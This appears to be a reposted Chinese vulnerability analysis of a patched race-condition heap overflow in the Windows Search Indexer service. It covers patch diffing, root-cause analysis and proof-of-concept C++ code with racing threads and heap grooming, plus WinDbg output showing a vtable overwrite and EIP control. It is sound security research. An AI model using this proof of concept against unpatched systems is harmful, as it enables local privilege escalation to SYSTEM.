Windows Search Indexer 介绍
[出自:jiwo.org]
Windows Search Indexer是一项Windows服务，用于为Windows Search处理文件索引，这为Windows内置的文件搜索引擎提供了动力，该引擎为从“开始”菜单搜索框到Windows资源管理器甚至是“库”函数的所有函数提供支持。
Search Indexer有助于从GUI的角度通过GUI和索引选项将用户定向到服务界面，如下所示。
索引过程中的所有数据库和临时数据都存储为文件并进行管理。通常，在Windows Service中，整个过程都是使用NT AUTHORITY SYSTEM特权执行的。如果由于修改文件路径而碰巧存在逻辑漏洞，则可能会触发特权提升。（例如Symlink攻击）
鉴于最近在Windows Service中发生的大多数漏洞都是由于逻辑漏洞而导致的LPE漏洞，因此我们假定Search Indexer可能有类似的漏洞，但是，我们的分析结果并非如此，随后将介绍更多详细信息。
补丁对比
分析环境是Windows7 x86，因为它具有较小的更新文件，并且易于识别差异，我们下载了该模块的两个补丁版本。
可以从Microsoft更新目录下载它们：
· patch程序版本（1月程序）：KB4534314 2
· 补丁程序版本（2月补丁）：KB4537813 3
我们从patch过的二进制文件的BinDiff开始（在这种情况下，只有一个：searchindexer.exe）
大多数补丁都是在CSearchCrawlScopeManager和CSearchRoot类中完成的。前者在1月进行了patch，而后者在下个月进行了patch。这两个类都包含相同的更改，因此我们专注于patch的CSearchRoot。
下图显示添加了原始代码，该代码使用Lock来安全地访问共享资源。我们推断，访问共享资源会导致竞争条件漏洞的发生，因为该补丁由putter, getter函数组成。
界面互动
我们参考了MSDN，了解如何使用这些类，并发现它们都与“爬网管理器”相关的，我们可以检查此类的方法信息。
MSDN说4：
爬网范围管理器（CSM）是一组API，可添加，删除和枚举Windows搜索索引器的搜索root和范围规则。当希望索引器开始对新容器进行爬网时，可以使用CSM设置搜索root目录，并为搜索root目录内的路径设置作用域规则。
CSM界面如下：
· IEnumSearchRoots
· IEnumSearchScopeRules
· ISearchCrawlScopeManager
· ISearchCrawlScopeManager2
· ISearchRoot
· ISearchScopeRule
· ISearchItem
例如，添加，删除和枚举搜索root和范围规则可以通过以下方式编写：
ISearchCrawlScopeManager告知搜索引擎要爬网和/或监视的容器，以及要包含或排除的容器下的项目。若要添加新的搜索，需要实例化ISearchRoot对象，设置root属性，然后调用ISearchCrawlScopeManager :: AddRoot并将其传递给ISearchRoot对象的指针。
// Add RootInfo & Scope Rule
pISearchRoot->put_RootURL(L"file:///C:\ ");
pSearchCrawlScopeManager->AddRoot(pISearchRoot);
pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS);
// Set Registry key
pSearchCrawlScopeManager->SaveAll();
当我们不再希望对该URL编制索引时，我们还可以使用ISearchCrawlScopeManager从爬网范围中删除root。删除root还会删除该URL的所有范围规则。我们可以卸载应用程序，删除所有数据，然后从爬网范围中删除搜索root，并且“爬网范围管理器”将删除root以及与该root相关联的所有范围规则。
// Remove RootInfo & Scope Rule
ISearchCrawlScopeManager->RemoveRoot(pszURL);
// Set Registry key
ISearchCrawlScopeManager->SaveAll();
CSM使用IEnumSearchRoots枚举搜索root。出于多种目的，我们可以使用此类枚举搜索root；例如，我们可能想要在用户界面中显示整个爬网范围，或者发现爬网范围中是否已经有特定的root目录或root目录的子级。
// Display RootInfo
PWSTR pszUrl = NULL;
pSearchRoot->get_RootURL(&pszUrl);
wcout << L"\t" << pszUrl;
// Display Scope Rule
IEnumSearchScopeRules *pScopeRules;
pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);
ISearchScopeRule *pSearchScopeRule;
pScopeRules->Next(1, &pSearchScopeRule, NULL))
pSearchScopeRule->get_PatternOrURL(&pszUrl);
wcout << L"\t" << pszUrl;
我们认为在处理URL的过程中会出现漏洞，因此，我们开始分析根本原因。
漏洞分析
我们针对以下函数进行了二进制分析：
· ISearchRoot :: put_RootURL
· ISearchRoot :: get_RootURL
在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL时，我们发现引用了对象的共享变量（CSearchRoot + 0x14）。
put_RootURL函数将用户控制的数据写入CSearchRoot + 0x14的内存中。get_RootURL函数读取位于CSearchRoot + 0x14内存中的数据，该漏洞似乎是由与补丁程序有关的共享变量引起的。
因此，我们终于到了漏洞开始的地方，该漏洞在发生以下情况时可能会触发：
1. 首次提取：用作内存分配大小（第9行）
2. 第二次获取：用作内存副本大小（第13行）
如果第一个和第二个的大小不同，则可能会发生堆溢出，尤其是在第二个提取的大小较大时。我们认为，在发生内存复制之前，我们通过竞争条件充分更改了pszURL的大小。
崩溃现场
通过OleView 5，我们可以看到Windows Search Manager提供的界面，而且我们需要跟据接口的方法来攻击漏洞函数。
我们可以通过MSDN 6提供的基于COM的命令行源代码轻松地对其进行测试，并编写了攻击存在漏洞的函数的COM客户端代码，如下所示：
int wmain(int argc, wchar_t *argv[])
{
// Initialize COM library
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
// Class instantiate
ISearchRoot *pISearchRoot;
CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));
// Vulnerable functions hit
pISearchRoot->put_RootURL(L"Shared RootURL");
PWSTR pszUrl = NULL;
HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);
wcout << L"\t" << pszUrl;
CoTaskMemFree(pszUrl);
// Free COM resource, End
pISearchRoot->Release();
CoUninitialize();
}
漏洞触发非常简单。我们创建了两个线程：一个线程将不同长度的数据写入共享缓冲区，另一个线程同时从共享缓冲区读取数据。
DWORD __stdcall thread_putter(LPVOID param)
{
ISearchManager *pSearchManager = (ISearchManager*)param;
while (1) {
pSearchManager->put_RootURL(L"AA");
pSearchManager->put_RootURL(L"AAAAAAAAAA");
}
return 0;
}
DWORD __stdcall thread_getter(LPVOID param)
{
ISearchRoot *pISearchRoot = (ISearchRoot*)param;
PWSTR get_pszUrl;
while (1) {
pISearchRoot->get_RootURL(&get_pszUrl);
}
return 0;
}
崩溃了！
毫无疑问，在StringCchCopyW函数复制RootURL数据之前，竞争条件已经成功，从而导致堆溢出。
劫持EIP
为了控制EIP，我们应该为发生漏洞的Sever堆创建一个对象。
我们编写了如下的客户端代码，以跟踪堆状态。
int wmain(int argc, wchar_t *argv[])
{
CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);
ISearchRoot *pISearchRoot[20];
for (int i = 0; i < 20; i++) {
CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));
}
pISearchRoot[3]->Release();
pISearchRoot[5]->Release();
pISearchRoot[7]->Release();
pISearchRoot[9]->Release();
pISearchRoot[11]->Release();
CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);
CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);
Sleep(500);
CoUninitialize();
return 0;
}
我们发现，如果客户端不释放pISearchRoot对象，则IRpcStubBuffer对象将保留在服务器堆上。而且我们还看到IRpcStubBuffer对象保持在发生漏洞的堆的位置附近。
0:010> !heap -p -all
...
03d58f10 0005 0005 [00] 03d58f18 0001a - (busy) <-- CoTaskMalloc return
mssprxy!_idxpi_IID_Lookup (mssprxy+0x75)
03d58f38 0005 0005 [00] 03d58f40 00020 - (free)
03d58f60 0005 0005 [00] 03d58f68 0001c - (busy) <-- IRpcStubBuffer Obj
? mssprxy!_ISearchRootStubVtbl+10
03d58f88 0005 0005 [00] 03d58f90 0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
03d58fb0 0005 0005 [00] 03d58fb8 00020 - (busy)
03d58fd8 0005 0005 [00] 03d58fe0 0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
03d59000 0005 0005 [00] 03d59008 0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
03d59028 0005 0005 [00] 03d59030 00020 - (busy)
03d59050 0005 0005 [00] 03d59058 00020 - (busy)
03d59078 0005 0005 [00] 03d59080 00020 - (free)
03d590a0 0005 0005 [00] 03d590a8 00020 - (free)
03d590c8 0005 0005 [00] 03d590d0 0001c - (busy)
? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
在COM中，所有接口都有自己的接口存根空间。存根是用于在RPC通信期间支持远程方法调用的较小内存空间，IRpcStubBuffer是此类接口存root的主要接口。在此过程中，支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服务器的堆上。
IRpcStubBuffer的vtfunction如下：
0:003> dds poi(03d58f18) l10
71215bc8 7121707e mssprxy!CStdStubBuffer_QueryInterface
71215bcc 71217073 mssprxy!CStdStubBuffer_AddRef
71215bd0 71216840 mssprxy!CStdStubBuffer_Release
71215bd4 71217926 mssprxy!CStdStubBuffer_Connect
71215bd8 71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();
71215bdc 7121687c mssprxy!CStdStubBuffer_Invoke
71215be0 7121791b mssprxy!CStdStubBuffer_IsIIDSupported
71215be4 71217910 mssprxy!CStdStubBuffer_CountRefs
71215be8 71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface
71215bec 712178fa mssprxy!CStdStubBuffer_DebugServerRelease
当客户端的COM未初始化时，IRpcStubBuffer :: Disconnect断开对象指针的所有连接。因此，如果客户端调用CoUninitialize函数，则会在服务器上调用CStdStubBuffer_Disconnect函数。这意味着用户可以构造伪造的vtable并调用该函数。
但是，我们并不总是看到IRpcStubBuffer分配在同一位置堆上。因此，需要多次尝试来构造堆布局，经过几次尝试后，IRpcStubBuffer对象被如下可控值（0x45454545）覆盖。
最后，我们可以证明可以间接调用内存中的函数！
分析结论
Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式，对Windows Search Indexer的内存损坏漏洞进行分析非常有趣。因此，此后的Windows Service中很可能会出现这种内存损坏漏洞。
我们希望该分析将对其他漏洞研究人员有所帮助，并可以用于进一步的研究。
参考文献
· https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
· https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
· https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
· https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
· https://github.com/tyranid/oleviewdotnet ↩
· https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline
